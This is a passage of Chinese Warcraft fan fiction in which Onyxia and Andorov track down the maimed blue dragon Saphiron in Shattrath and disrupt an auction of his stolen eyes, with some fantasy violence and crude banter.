她没用黑龙之力,也没用格斗招式,纯粹是乱无章法的女人式的发泄,光头巨人苦口婆心地劝着,小心翼翼地束着她的手腕,满眼的无可奈何——那是安多,那不是萨菲隆,如果他是,他只会一脸无辜地任由她无理取闹,尽管他压根不明白自己为什么会挨揍。 她难得会喜欢上一条龙,虽然颜色不对,虽然笨拙得令人哭笑不得。 可他就这么消失了,生死不明,让她狠狠地品尝了一把心痛如绞的滋味。 从没有哪个男人敢这么对待她。 黑龙跟其他颜色的龙在一起,是不会有好结果的。 果真被奈法利安说中了吗? 她喜欢他,她是喜欢萨菲隆的。 见光头巨人一脸惊讶地看着她,奥妮才意识到自己刚刚说了些什么。 “你那是什么表情?……谁规定我不能喜欢上一条蓝龙的?”她抬起下巴,一脸傲慢地盯着安多,“我一开始的确是为了小奥比才接近他的,那又怎么样?不然像他这种又穷又笨的龙怎么可能有机会认识我?……” 安多的眉头皱成一个疙瘩,他在等卡卡的暗示,但他的兄弟压根没理他,安多只好硬着头皮接话: “你们……你们在一起挺合适的。” “可他已经死了。”奥妮瞪着他,仿佛他才是害了萨菲隆的那个家伙,“安多,如果我找到他的尸首,你一定会让他复活的,对吧?就像对那个老管家做的那样?” “……” “安多?”奥妮克希亚的金瞳危险地眯了起来。 安多还在踌躇,冷不防舌头一卷,嘴巴一张,他听到自己的声音在说: “当然没问题,包在我身上。” 卡卡!……卡卡你……见鬼! 怎么?复活那老头的时候就已经破例了,什么女王陛下什么红龙议会,统统闪一边凉快去吧。 他这个当哥哥的总有一天会被卡卡害死。 “奥妮,听我说。”安多洛夫叹了口气,“诺森德没有他的名字,说明他还没有死,我们会找到他的,一切都会好起来的,听到了吗?” 她突然变得安静。 但这并非是因为安多的那些话。 “有人来了。” 她抚了抚耳边的发丝,顺带不经意地擦了下眼角。 安多抬起头,一脸警觉地凝视着走廊尽头的门。 门被推开,一个男人朝他们走来。 他看起来很年轻,相貌英俊,一头银发;汗衫上印着一个大大的绿色的“爱”字,过膝的短裤上到处都是兜,一双比脚大上一号的夹趾拖鞋啪嗒啪嗒地响着,一副不拘小节的模样。 看到他那双翠绿色的眼瞳,安多顿时全身紧绷,他放开奥妮,进入战斗姿态。 也许萨菲隆和小奥比的事令他们太过疲惫,一条身份不明的龙潜入他们的控制范围,两人竟然都没有察觉。 “奥妮克希亚公主,安多洛夫将军。”男人向两人颔首致意,并自我介绍道,“我叫伊萨里奥斯,是萨夫的朋友。” “萨夫?” “就是萨菲隆·弗洛斯特先生。”他解释道,“萨夫是他的昵称,我总是这么叫他。” “你想要什么?”奥妮克希亚问,“埃雷苟斯,还有他的随从,你把他们怎么样了?” “我只是让他们睡过去了而已。”男人答道,见黑龙公主和红龙中将一脸杀气,又道,“请不要误会,我没有恶意——关于萨夫,有一些事情我想你们应该知道。” “他还活着,是吗?”奥妮不动声色地问。 “以我的能力无法回答这个问题。”男人说。 “他现在在哪里?” “以我的能力无法回答这个问题。”男人机械地重复着。 “原来只是个思念体啊。”她嗤之以鼻,“怎么,不敢用本尊来见我?怕被我分尸?真是的,我又不是杀人狂,只不过喜欢的男人刚刚死了,有点歇斯底里罢了——” “奥妮——” “少跟我玩这套,快告诉我他在哪里!” 龙威全开,方圆几十公里的城区打了个哆嗦,停在楼下的车辆报警器响成一片。 一只厚重的大手按着她的肩膀,安多洛夫的声音从她身后传来:“奥妮,冷静点,他只是个思念体。” 她深深吸气,在红龙的帮助下,极力压制体内狂躁的黑龙之力。 “放松,放松,调整你的呼吸,很好,这样就对了。”见她安静下来,安多洛夫松了口气,盯着面前的男人,缓缓地说:“伊萨里奥斯先生,请不要再卖关子了,这样对大家都好。” “我有你们想要的信息,但你们必须予以配合。”男人说。 “配合?” “你们必须进入翡翠梦境才会得到提示。” “这不可能。”安多洛夫断然拒绝,“我不会让绿龙有任何机会在我的梦里乱来。” “这几天我一直试图连接你们的梦,但你们都不曾入睡,时间紧迫,我不得不登门造访。”男人说,“再次重申,我没有恶意,萨夫现在的处境非常艰险,他需要你们的帮助,请尽快做出决定。” “我接受。” “奥妮?” 奥妮抬起头:“让我进入翡翠梦境,现在就动手。” “如你所愿。” 男人伸手打了个响指,她身子一软,应声倒下,安多洛夫急忙把她接住,只见她呼吸平缓,眼睑频动,显然意识已不在这个位面。 梦境是绿龙的领域,这条绿龙是敌是友还很难说,这太冒险了。 “她是普瑞斯托家族成员,黑龙公爵的妹妹,如果她在翡翠梦境出了什么事,你们会被追杀到天涯海角,明白吗?” “以我的能力无法回答这个问题。” 对方只是个低级思念体,说了也是白说,奥妮已被引入梦境,他还能怎么办?安多洛夫把心一横,狠狠地闭上眼:“来吧!” 随着男人的手势,倦意如排山倒海般袭来,带着百般不愿,他沉沉睡去。 ……………… ………… …… 奥妮克希亚惊呼一声,猛地坐起身来。 “你还好吗?”安多洛夫问。 她望着那光头巨人,好一会才回过神来:“我醒了吗?” “我们都醒了。”安多洛夫说,“这看起来是现实位面。” “安多,我们必须去那里。” “去外域沙塔斯城的传送门已经准备好了,普瑞斯托小姐。” 站在一边的埃雷苟斯开口道: “我也做了同样的梦——普瑞斯托小姐,雷奥将军,我会尽最大努力延缓首席执政官就职仪式的进程,同时我恳求两位把萨菲隆先生带回来——让这一切都结束吧。” 老蓝龙极力克制着自己的心绪,但微颤的双手仍将他的忐忑不安暴露无遗。 奥妮克希亚看了他一眼,转向安多: “带上小奥比,我们走。” 14. 第 14 章 外域,沙塔斯城,贫民窟。 “他就快死了。”一个血精灵小男孩开口道。 “别瞎说。”立即有人反驳他。 “可他已经连水都喝不了了——三天前刚发现他的时候,他还多少能吃点东西呢。” 一群孩子围在一起,全都是一副愁眉苦脸的模样。 大概在五天前的一个夜晚,贫民窟西北区的某条小巷里突发异象,狂风大作,电闪雷鸣,两个拾荒的孩子恰好从此经过,亲眼看到“天上裂开一条缝”,紧接着“一道蓝光从天而降”,整条小巷都“被蓝色的火点着”。 虽然吓得够呛,但在好奇心的驱使下,他们还是壮着胆子走到巷口朝里面张望。 这一张望可不得了——一个浑身带着蓝色火焰的巨人,正捂着胸口朝他们摇摇晃晃地走了过来! 他们吓得惊声尖叫,叫了半天才想起来该转身逃跑,可他们才跑了没几步,却眼前一花,不知怎么回事又回到了那条巷子里!而且他们还被堵进了死胡同! “……那真的是个巨人!他只要一抬脚就能把我们踩扁!“ “他有条尾巴!……像狼牙棒一样的尾巴!他的头上还长着许多角!” “他的背上还有一对很大很大……很大的翅膀!” “可是他的翅膀被烧焦了,就像……就像帆船的帆被烧着了一样,只剩骨头架子!” …… 当时他们以为自己死定了,那个庞然大物趴在地上,他的鼻息像鼓风机似的一阵一阵地冲着他们迎头喷来,两个孩子紧闭双目,死死地抓着对方的手,一动也不敢动。 然而等了很久,他们既然没有被吃掉,也没有被踩扁。 那个浑身是火的巨人只是盯着他们——确切地说,是“面朝着他们”。 因为他的眼窝里黑漆漆的空无一物——他的眼睛不见了。 他只是趴在两个孩子面前,喉咙里发出滚雷似的低咆,虽然样子很吓人,但看上去并没有恶意。 你看不见了吗?谁拿走了你的眼睛? 孩子们怯生生地问,同时踮起脚,伸手去摸他的下巴。蓝色的光跳到他们手背上,这些舞动的小东西冰冰凉凉的,分不清究竟是水还是火。 他说了些什么,是孩子们从来没听过的语言。 对不起,我们只会说萨拉斯语,可……可是我们知道这里有人能明白你的意思——沙塔斯城的纳鲁,它们什么话都听得懂。 巨人突然抬起手,两个孩子以为他生气了,吓得抱成一团。 但他只是把手伸到背后,从自己被烧得千疮百孔的翅膀上折下了一小截—— 骨头。 我请求你们,把它带给……沙塔斯城的纳鲁。 这一次,他说的是标准的高等精灵语,惊得两个孩子目瞪口呆。 见他们收下了自己的翼骨,巨人点了点头,突然凭空消失了。 惊魂未定的孩子们以为一切都是自己的幻觉,可那段泛着霜冻光泽的骨头可是真真切切地握在他们手中,他们不敢张扬,只得用布把它裹好,晃过城里的治安巡逻队,偷偷来到沙塔斯城中央的圣光广场。对于两个初次溜进上层区的贫民窟的孩子来说,这里实在太大了,看着来来往往的人群,个个衣饰华丽,气派体面,光是在楼宇间川流不息的立体交通网就让他们吃惊得连嘴都合不拢——这里跟底层的贫民窟根本是两个不同的世界,要在这里寻找宛若神明一般的纳鲁,根本是不可能的任务。 “后来呢?后来怎么样了?”每当他们说到这里,一群小听众们就会忙不迭地追问:“你们到底有没有把那段骨头交给纳鲁啊?” “当然了!”两个小鬼无不得意地说,“我们当然办到啦,不然这个大个子现在哪会安安稳稳地待在这里?” “哪里安稳了,他眼睛都没啦,胸口的伤也一直没好呢。” “可……可是至少没人来赶他走嘛,肯定纳鲁关照过上面的人,叫他们不要管闲事才会这样的,不然你以为啊,前阵子格里伏塔大叔的摊子不就被查了吗?说他自称‘绝世宝物商人’,其实卖的都是假货……上头的人眼睛可利着呢。” “说得也是哦。” “那你们究竟是怎么找到纳鲁的呀?” 两个孩子神秘兮兮地说:“不是我们找到纳鲁,是他找到我们。” 就在他们一筹莫展之际,一个穿着白色风衣、个子很高的男人悄无声息地出现在他们面前,叫着他们的名字。 自从爸爸和妈妈走了以后,再没人叫过他们真正的名字。 名字是属于那些高贵有身份的血精灵的,他们只是两个成天翻垃圾的小孩。 那个男人的声音很温和,他整个人就像一个发光体,一尘不染得像个天使。 有人托你们送一件东西给我,是吗? 他只说了这一句话,两个孩子就确信他便是自己要找的人,没有理由,他们就是知道。 拆开层层裹好的布包,男人凝视着那截因为离开本体而化作透明晶体的骨头。 萨菲隆的翼骨……我明白了。 他转向两个孩子,用闪着光华的手轻轻地抚了抚他们的头顶,孩子们顿时哭了起来。 温暖的幸福在心头涌动,那个人有一双能带来奇迹的手。 或者说他的存在本身就是一个奇迹。 我叫基厄拉斯,你们非常勇敢,应该为此感到自豪,后会有期。 “然后他就消失了。” 孩子们立即展开激烈的争论。 那个人真的是传说中的纳鲁吗?“萨菲隆”就是这个巨人的名字吗?…… “喝点水吧,这样下去你会撑不住的。”一个小女孩拿着水壶,轻轻地走到巨人身边,小心地把壶嘴靠在他干涸开裂的嘴唇上。 水顺着他的下巴滴在胸膛上,这没有用。他全无反应,仿佛已经放弃了求生的念头。 孩子们围着他,谁也没出声。 “……”他的嘴唇突然动了动,似乎说了些什么。 孩子们凑上前屏住呼吸,才听清了他的话。 “快离开我……让大家都离开……越远越好……” “污染……我……我快要控制不住了……” “污染?”孩子们你看看我,我看看你,不明所以。 “走开!!——” 巨人突然低喝一声,震得那群小鬼人仰马翻。 蓝色的光从眼耳鼻口喷出,他痛苦的咆哮声震耳欲聋,吓得孩子们四散奔跑,先前试图给他喂水的小女孩不知所措,一个男孩在她耳边嚷了一通,接着生拉硬扯地拽走了她。 他们慌不择路,也不知跑了多远,突然一个黑色的飞行物从天而降,拦住了去路。 那是一艘“弗埃卢”级的行政飞船,这种以最新纳鲁科技驱动的交通工具为接待贵宾专用,只有在沙塔斯城上层区才能见到。 舱门开启,几个穿着黑色西装戴着墨镜的彪形大汉走下飞船,将两个孩子围住,宛似铜墙铁壁。 “你们想干什么?……我……我们什么也没——” “他们跟萨菲隆接触过,立即给他们还有其他人进行全面扫描,如果检测出身上带有奥术辐射,立即安排治疗。” “是,殿下。” “立即疏散附近居民,否则污染一旦扩散后果不堪设想,我不想因为这事影响我们和纳鲁的关系。” “是。” 黑衣壮汉们让出路,奥妮克希亚走到那两个孩子跟前。 “那个穿着警察制服的大个子,他在哪儿?” 他们从未见过这般阵仗,哪里抵挡得住这么强的龙威,当即吓得哭了起来。 “奥妮。”一个低沉浑厚的声音响起。 “你来。”她一脸不悦地走到一边。 安多洛夫来到两个孩子面前,屈膝蹲下,说来也怪,看到这个红眼睛的光头巨人,两个孩子反倒不哭了。 “我叫安多洛夫,你们叫什么名字?” “我叫杰米,她叫艾玛。”小男孩小声答道。 “杰米,艾玛。”安多洛夫点了点头,又指了指偎依在自己臂弯里的孩子,“这是奥比。” “他怎么了?他身体不舒服吗?”女孩怯生生地问。 “他生病了,是很难治的病,我们都束手无策。”安多洛夫说,“但有一个人能治好他,他叫萨菲隆,你们知道他在哪里吗?” 男孩紧张地摇了摇头,一旁的奥妮克希亚眼中凶光大作,安多洛夫忙给她使了个眼色。 “只有医生才会治病,他穿着警察的衣服,他不是医生。”女孩说。 “是的,你说得对。”安多洛夫说,“但他不是普通的警察,他有某种奇特的能力,在他身上会发生奇怪的事——你们大概也亲眼见过,对吗?” “能量探测仪还是没有反应吗?”奥妮克希亚问她的手下。 “没有,殿下。” “如果我们找不到他,奥比也许永远也醒不过来了,你们不想救他吗?”安多洛夫问。 两个孩子看着脸色苍白昏迷不醒的奥比,又看看对方,终于女孩朝身后指了指: “他在西北区东大街的六十七号巷。” …… 奥妮克希亚见到萨菲隆的时候,他正扶着街边的墙蹒跚前行。 墙上有一道弯弯曲曲的蓝色光痕,那是他的手留下的,他每走一步脚底都会出现同样的痕迹——他所经之处,花草会迅速枯萎,这条偏僻的废弃街道蚊虫成群,老鼠成群,却没有一个活物敢接近他,除了残余的龙威,它们感应到了更危险可怕的东西。 “站住。” 他置若罔闻,没有停下脚步的意思。 她上前抓着他的肩膀,把他重重地按到墙上。 “我叫你站住!” “你……你认错人了。”他用手遮着脸,“我……我不是你要找的人。” “把手拿开——看着我!” 当他的手被拉开时,奥妮克希亚觉得自己的心被狠狠划了两刀。 她从没喜欢过麦洛尼家族的人,但看到萨菲隆那双原本像蓝宝石一般漂亮的眼睛竟只剩两个黑乎乎的空洞时,她头一回产生了想把亚雷苟斯碎尸万段的念头。 萨菲隆突然不知哪来的力气,把她推开,跌跌撞撞地走了两步,脚下被什么东西绊了一下,他摔倒在地,然后摸索着爬起来,继续迈步。 他不知道要去哪里,他只求能离开奥妮克希亚。 他怎能让她看到自己现在的模样? 他被刺穿了心,每多活一秒钟对他而言都是折磨,他几乎已经快流干了全身的血。 他被挖掉了双眼,失去了驾驭冰霜和奥术的能力,那是他唯一能引以为傲的东西。 在空间跳跃的过程中,他体内残存的蓝龙之力无法支持打开传送门所需的能量消耗,他强行穿越位面,扭曲的能量波撕碎了他的龙翼。 对于一条龙来说,没有比剜目折翼更残忍的酷刑。 他还有什么颜面去见奥妮克希亚?她是那么的高高在上,是他心中的女神,只有最优秀的雄性龙才有资格和她在一块儿。他从未有过奢望?只要能经常见到她,偶尔和她在一起待上一小会就心满意足?那全是骗人的——直到被霜之哀伤刺穿胸膛的那一刻,萨菲隆才明白,原来他一直都在自欺欺人。 他从一开始就对奥妮心存妄念。 和奥妮“同居”的那几周,是他这一生中最幸福的日子。 可现在的他,再也配不上奥妮了。 胸口疼得他直哆嗦,却并非因为霜之哀伤的诅咒。 一双手攀上了他的脸,那是奥妮克希亚的手。手心的热度温暖着他冰冷的脸颊。 她从未这样温柔地触摸过他,这跟他记忆中先前两人间的成人娱乐完全不同,没有一点轻佻,不带半分欲望。 这是怜悯吗?这是另一种欺哄吗?她还有多少控制男人的手段没有使出来?…… 对他这样的笨男人,还用得着什么手段呢?只消一个似是而非的微笑,一个模棱两可的吻,他就会奋不顾身地为自己倾慕的人而战。 萨菲隆别开脸,破天荒地拒绝了她,但那双手却固执地圈住了他的脖颈,迫使他低下头来,她用上了黑龙之力,萨菲隆无从抗拒,只能被动地迁就她,直到最后两人眉心相抵,面对面地保持沉默。 那是龙族用来表示亲密的姿势,他情不自禁地想象着两人化为龙形在一起的情形,她用龙角磨蹭着他的喉咙,而他则用獠牙轻轻地刮着她脖子上的鳞片——那是他一直想要的,然而此时此刻,奥妮的举动却只会让他更加伤心。 奥妮,不要再这样对我了。 我已经……我已经对你没有……没有利用价值了。 “对不起。” 他听到奥妮在对他说。 “对不起,萨夫,我……我很抱歉。” 她抱着他宽厚的肩,揉着他的头发。 她叫他萨夫,大概她也知道全部的故事了吧。 “我……”他开口,声音嘶哑得像生锈的机床,“我失败了……亚雷……亚雷他……” “我知道,我知道。”她轻声说,“我想……我想我们还需要一点时间——给我一点时间,萨夫,请给我一点时间。” 需要时间来做什么,奥妮克希亚没有说,萨菲隆当然也没有问,两人就这样各自揣着心事,默默地拥抱在一起。 当安多洛夫和奥妮克希亚的随从们赶到时,看到的正是这一幕。 黑龙侍卫们大吃一惊——蓝龙之力崩溃后,萨菲隆已经成为危险的奥术污染源,而他们的公主殿下竟然在没有任何隔离防护措施的情况下,跟这条蓝龙进行近距离接触!…… 他们正要冲上前去,却被安多洛夫拦住。 黑龙侍卫冲着他怒目而视,他们尊敬这位红龙将军,但公主的安危无疑更加重要。 这边正争执不下,那边又传来奥妮克希亚的声音: “这样就认输了吗?” 安多洛夫和黑龙侍卫们不约而同地望过去,只见那两人不知何时再次分开。 “奥妮,我……” “是吗?认输了?”她冲着他的背影叫道,“就因为亚雷苟斯是你的弟弟,所以无论他从你身上夺走什么都可以吗?” 萨菲隆保持缄默。 “看来我不该来沙塔斯城。”奥妮克希亚摇了摇头。 安多洛夫正欲发话,奥妮伸手做了个噤声的手势,与此同时卡卡的声音也在他耳边响起: 闭嘴,安多。 安多洛夫看着那形同陌路的两人,只得无可奈何地把嘴边的话咽了回去。 他知道要让萨菲隆重新振作起来,只能看奥妮的了,但他也知道那条蓝龙正在经受最痛苦的折磨——失去了双眼,毁了双翼,足以令任何一条龙痛不欲生。 他并不知道萨菲隆和亚雷苟斯接触时发生了什么,但直觉告诉他,萨菲隆一定从亚雷苟斯那里得知了自己的身世,兄弟相残的打击,恐怕更甚于身体所受的折磨。 麦洛尼家族……真的已走上穷途末路了吗? “亚雷苟斯刺透的不光是你的心,还有你的自尊,他挖掉的不光是你的眼睛,还有你的勇气。”奥妮凝视着萨菲隆的背影,“你现在只想背对着我逃走,委托纳鲁替你找个地方静静等死,这就是你想要的——你不是我认识的那个萨菲隆。” “你还想让我怎样,奥妮?”萨菲隆紧攥双拳,头也不回地低吼着,“你还想要求我做什么呢,奥妮?说出来吧,我会去做的!……无论你要我做什么,我都会拼命让你满意,这从没改变过,我……我在你眼里,不就是……不就一直是这样的吗?” 奥妮克希亚点了点头。 “我明白了,既然都被你看穿了,那么,萨夫,现在我只问你一件事:真的放弃了吗?” “……”萨菲隆牙关咬得咯吱直响,全身僵硬得像座石雕。 见他迟迟没有表态,奥妮克希亚又道: “看来你对麦洛尼家族的覆亡确实无动于衷,那么我也没什么好犹豫的了。为了普瑞斯托家族和黑石,我会使出全力跟亚雷苟斯斗到底,从现在开始,我会遵从我哥哥奈法利安的意思,不再对麦洛尼家族的人手下留情。” “你——” “商场如战场,利益冲突下不是你死就是我亡,萨夫,你该不会不清楚我一直卡在中间两头为难究竟是因为什么吧?天知道我放过了多少次对小奥比下手的机会,以至于连奈法利安都开始怀疑我对黑龙的忠诚了。”奥妮克希亚回头看了红龙中将一眼,“安多,事到如今,你做个好事,让那小鬼安安静静地上路吧。” 一听这话,安多大吃一惊,忙朝奥妮使眼色:你该不会是认真的吧? 奥妮白了他一眼。 安多洛夫忙清了清嗓子,看着怀里的小奥比:“咳……呃……那个……” 他话还没说完,萨菲隆已经有了反应: “奥比?……奥比?!”他猛地转过身,“他还活着?!……” 没人理会他。他听到红龙中将叹了口气: “终于还是没别的办法了吗?” “唯一能救他的人已经指望不上了,这小鬼迟早是死。”奥妮克希亚说,“别再让这小可怜受折磨了,动手吧安多。” “不!不!——奥妮,等一下!”萨菲隆大吼。 “小鬼,对不起啦,我会让你没有痛苦地去诺森德和你父亲团聚的。” 他什么都看不见,不知自己身边发生何事,只当安多洛夫听了奥妮克希亚的话,要给小奥比一个痛快,急怒攻心之下,奥术污染爆发,胸口被霜之哀伤贯穿之处蓝色光流溅起数尺高,萨菲隆只感到自己脑袋里似乎有个什么东西碎掉了,再也无力支撑,昏沉沉地倒了下去。 “萨菲隆!” “别杀小奥比……别杀他……奥妮!!” 我……我是他叔叔…… 别杀他…… 奥妮……这就是你对我的惩罚吗? …… 醒醒,醒醒呀。 恍惚中他听到一个声音在耳边回荡,有人在嗤啦嗤啦地摸他下巴上的胡茬。 “你终于醒了。”那个声音有些不满地说,“我还以为你再也醒不过来了。” 那个声音…… “奥比?”他试探着开口。 “嗯。”对方用鼻子哼了一声,“喂……喂!你在干什么?” 萨菲隆用尽力气抬起手,小心急切地摸着那个靠在自己怀里动来动去的小家伙,直到自己的手指被不客气地咬了一口才停下——真的是奥比,谢天谢地,他没有死,他就在自己身边。 “你……你怎么样?有没有受伤?……” “我还好啦。”小奥比说,“说来也怪,我们身上的奥术污染好像互相抵消掉了不少,我都觉得自己好像没事了。”说着他又摸着萨菲隆的脸,有些迟疑地问,“你……你的眼睛……” “别看它。”他低声说着,把脸别到一边。 “会不会很疼?” “已经不疼了。” 小奥比没再说话,见他没动静,萨菲隆又开始不安地伸手去摸,这一次小孩没再抗拒,在他的巨掌下出奇地安静。 “对,对不起。”小孩低声说。 “唔?” “都是因为我你才会变成这样。”小孩说,“都是我的错,我……我没想到他会这么……” 说着说着小奥比带上了哭腔,萨菲隆看不到,但他猜这小家伙一定正眼圈红红地望着他。 “这不是你的错。”他安慰道,“事情就这样发生了,谁也没有办法。” “你会好起来的。”小奥比吸了吸鼻子,似乎振作了一下精神,“他们会帮你的,我也会帮你,他不会一直这么得意的。” “他是你叔叔。” “你也是我的叔叔,如果要我挑一个,我一定会选你。” “……你知道了啊。”萨菲隆一愣。 “我从一开始就知道。”小孩说,“我第一眼见到你,就觉得你很眼熟。” 他笑了一下,也不知扯到了什么伤处,开始闷闷地咳嗽起来。 “你没事吧?坚持住——再过一会就好了,他们很快就能把你的眼睛弄回来!” “什么?”他皱起眉头。 “你不知道吗?……沙塔斯城正在举行拍卖会,你的眼睛是压轴的拍卖品!” “……” 与此同时,沙塔斯城上层区,“Tier 6”拍卖会现场。 “‘泰坦之星’和‘卡利斯托之月’,单个底价已降至一千亿金币,还是没人出价吗?……这可是难得一见的至宝啊……”虚灵拍卖官环视全场。 贵宾席上,黑龙公主目光如炬,身边的红龙中将把脚腕搭在膝盖上,一副看好戏的模样,四周的富豪们个个噤若寒蝉不敢举牌,幸亏星界财团的首席拍卖官扎雷姆是个虚灵,若他的脸上能显露出表情,想必是脸色比锅底还黑。 在T6的拍卖会上,但凡出现“好货”,无不是众星捧月,抢得头破血流,每一次开价都引来一片惊呼,场面热烈无比,从来没有像今天这样尴尬过——蓝龙之眼历来都是大热门,以前卖出的都是取自从天灾冰龙的骨骸,成色不见得好,能量也所剩无几,但即便是最劣等的蓝龙之眼也动辄能拍出上千亿的天价,今天摆在展台上的可是极为罕见的上品,一万亿的成交价是最保守的估计。 这完全是那两条龙跑来搅局所致。 一千亿的底价已经是“好货”的极限,绝不能再低了,要是流拍T6的声望会大受影响。令扎雷姆百思不得其解的是,红龙和黑龙会在沙塔斯城出现,而且明显是找碴的,纳鲁却毫无反应,这其中必有蹊跷。 难道是货有问题? 这怎么可能呢?两枚蓝龙之眼,都是由麦洛尼家族的代理人、灵风能源集团的董事长兼首席执行官的亚雷苟斯·麦洛尼亲自派人交到他们手上的,同时麦洛尼家族还应允给T6高达最终成交价三成的中介金,送上门的好生意,傻瓜才不做。 果然没有白给的午餐,麦洛尼的这笔单子八成另有隐情。 扎雷姆暗想,之后朝手下做了个手势。 于是拍卖官宣布: “既然如此,‘泰坦之星’和‘卡利斯托之月’的拍卖将择日进行,具体时间和地点我们会另行通知——按照惯例,诸位还有一分钟的时间来做最后的决定……” 一位衣着体面的中年男子鼓足勇气,举起手里的牌子。 “三百六十号的先生举起了蓝色的牌子!——女士们先生们,已经有人对‘泰坦之星’出——” 啪。 出价者手中的牌子突然啪的一声掉到了地上,他还浑然不觉,直到众人齐唰唰地盯着他——或者说是盯着他的手时才反应过来。 他的手里捏着一根小棍,标着号码的部分不知什么时候跟把柄断开了。 断口光滑整齐,显然是被什么东西削断的。 奥妮克希亚冲着那位先生回眸一笑: “下一次,断掉的可就不是牌子了。” 她的金色妖瞳一转,扫了对方的脖子一眼,接着又瞥向男人的□□。 那位可怜的富翁被吓坏了,一脸惊恐地起身,顾不得礼仪,挤开坐在他身边的宾客,跌跌撞撞地朝奔向紧急出口,紧接着一位穿着豪华晚装的贵妇如梦初醒,一边叫着那个男人的名字一边慌慌张张地跟了出去,因为跑得太急,半路高跟鞋还崴了一下,狼狈不堪。 “殿下,您的心情还真是差劲啊。”红龙低声说。 “怎么会?我心情好得很。”她冷冷地说。 “别嘴硬了,在他心里,终归还是小奥比更重要,不是吗?” 奥妮克希亚不动声色:“哦?你为什么会这么想?” “啊呀,安多又不高兴了,我再说又得挨骂了——噢,对了,公主殿下,那群绷带人正盯着你呢,你不需要对刚才的事说明一下吗?” 拍卖大厅里静得出奇,奥妮克希亚狠狠地瞪了卡卡一眼,转过身冲着拍卖官微微一笑: “我想您一定是误会了那位先生的意思,他大概并不是想出价呢。” “那么,我也误会了普瑞斯托小姐您的意思吗?”扎雷姆说,“原本——直到刚才我还认为普瑞斯托小姐是因为垂青今天的拍卖品才会大驾光临的。” “我的确对这两件东西很感兴趣。” “一千亿金币的底价对于黑石集团来说过于高昂了吗?” “对于这双眼睛的主人来说,确实太高昂了。” “是吗?”扎雷姆环视全场,“还有人出价吗?” 寂静中,一个年轻的男人声音响起。 “‘卡利斯托之月’,我出一千亿。” 那人迈步走向会场前排。 “那家伙什么模样?”奥妮克希亚压低声音。 “金发小白脸,白衬衣,蓝领带,外头一身黑。”卡卡应道,“很‘蓝龙’的打扮呢。” “是啊。”她唇角一扬。 “好像一点生命迹象都没有唷。”卡卡笑道。 “是吗?” “‘泰坦之星’和‘卡利斯托之月’是无价的,它们理应获得更好的礼遇。”出价的年轻男子说,“如果因为某些人及其背后的势力干涉,导致这两件稀世珍宝无法在世人面前展现它们的风采,那可就太——” 咔!—— 金光闪过,男子的上半身腾空而起,腰身以下的部位却仍留在原地。 “啊啊啊啊!!——” “哦天哪!!——” 这下子有如巨石入水,敢于出价的年轻男人竟被残忍地腰斩,令本已一触即发的紧张局势全面失控,在座的富豪名流们万万没有想到黑龙竟真敢在沙塔斯城行凶,奥妮克希亚确实很美,美得像恶魔的毒药,这不是他们消受得了的。 去他的“泰坦之星”!让“卡利斯托之月”见鬼去吧! 什么东西能比自己的性命重要?! 尖叫声咆哮声不绝于耳,为了抢先离开拍卖场,男人们的推搡变成殴斗,女人们也豁了出去,用精美的手指甲开路,场面顿时一片混乱。 在纳鲁的庇护下,T6已经很多个世纪没有发生过这种事了,虚灵们和沙塔斯城的官员们面面相觑,都有些不知所措。 “普瑞斯托小姐,你逼得我们别无选择。”扎雷姆叹了口气,动了动手指。 哗啦啦—— 荷枪实弹的保安排开人群涌入大厅,将两条龙团团围住,将手中的武器对准了他们。 接着他们全都软绵绵地倒了下去,令原本以为局面得到控制的宾客再次陷入恐慌。 “别担心,只是小规模的红龙光环罢了,他们睡上几天就会醒过来的。”卡卡说。 “普瑞斯托小姐,雷奥将军,你们这样未免太过分了。”扎雷姆说,“你们的行为令T6蒙受了巨大的损失,而直到现在我还不了解你们的动机究竟是什么——星界财团跟很多人都维持着稳定良好的合作关系,我们只跟通情达理的人打交道,即使谈不成生意,也甚少交恶,对于黑石集团和雷奥家族也是如此,我不记得我们曾做过什么得罪艾泽拉斯龙族的事——现在我在等二位的解释。” “哦?是吗?这两枚蓝龙眼被拿到这里拍卖,原来不是对我们龙族的冒犯?” “我明白这从感情上而言对龙族是一种伤害,但我需要澄清一件事——将这两枚蓝龙之眼交到我手上,委托我们全权代理拍卖事务的不是别人,正是蓝龙自己。我们相信亚雷苟斯先生所代表的麦洛尼家族有权处理蓝龙的族内财产,所以接受了他的委托,至于麦洛尼家族为什么要卖出这对蓝龙眼,那不是星界财团需要关心的事——这对红龙和黑龙而言,有什么问题吗?” “省省吧,绷带男。”卡卡伸了个懒腰,打了个呵欠,“别装傻了,你们以前也不是没卖过我们的眼睛,不过那些都是盗墓贼从龙骨荒原里偷出来的,当然不能跟这两只眼睛比了——这对眼睛是被活活挖出来的,所以才会这么完美无暇——哦对了,说到这里,我有一个好消息和一个坏消息,你想先听哪个?” “……请直说吧,雷奥将军。” “好消息是,这条倒霉的蓝龙还活着——唔,好吧,也许对你来说是个坏消息。”卡卡说,“而至于坏消息,普瑞斯托公主殿下会很乐意告诉你。” “……请说。” “亚雷苟斯·麦洛尼涉嫌策划并亲身参与了包括谋杀、绑架、故意伤害、政治贿赂、非正当商业竞争和使用违禁法术在内的多项犯罪行为,同时他对于不久前在暴风城发生的特大地震也负有不可推卸的责任——” “女检察官大人,最后那个罪名是怎么回事?”卡卡小声问。 “如果劫囚车的只有伊森德雷一个,安多会失手吗?” “和绿龙一对一肯定不会输,可当时绿龙身边有帮手耶。” “没有卡雷苟斯的话,安多会顺利完成押送任务,地震当然也就不会发生了。” “嗯哼?” “那谁把卡雷苟斯骗去暴风城,又是谁指使绿龙对他精神污染的呢?” “……”卡卡一拍大腿:“对呀!奥妮你太有才了,亚雷苟斯真是坏透了,这全都是他的罪呀,再不把这家伙按在地上爆菊,还让他当大官,可真是没天理了。” “所以扎雷姆先生。”奥妮克希亚望着拍卖台上的虚灵,“这对蓝龙眼是非常重要的证物,我想在这种情形下你应该能做出正确的决定。” “但根据我了解到的情况,亚雷苟斯先生马上就要成为新一任的蓝龙首席执政官,同时灵风能源集团即将获得对外域虚空风暴的开发权。”扎雷姆说,“如果普瑞斯托小姐刚刚所说的诸多骇人听闻的指控确实存在,那么眼下的情形可真有点让我难以理解。” 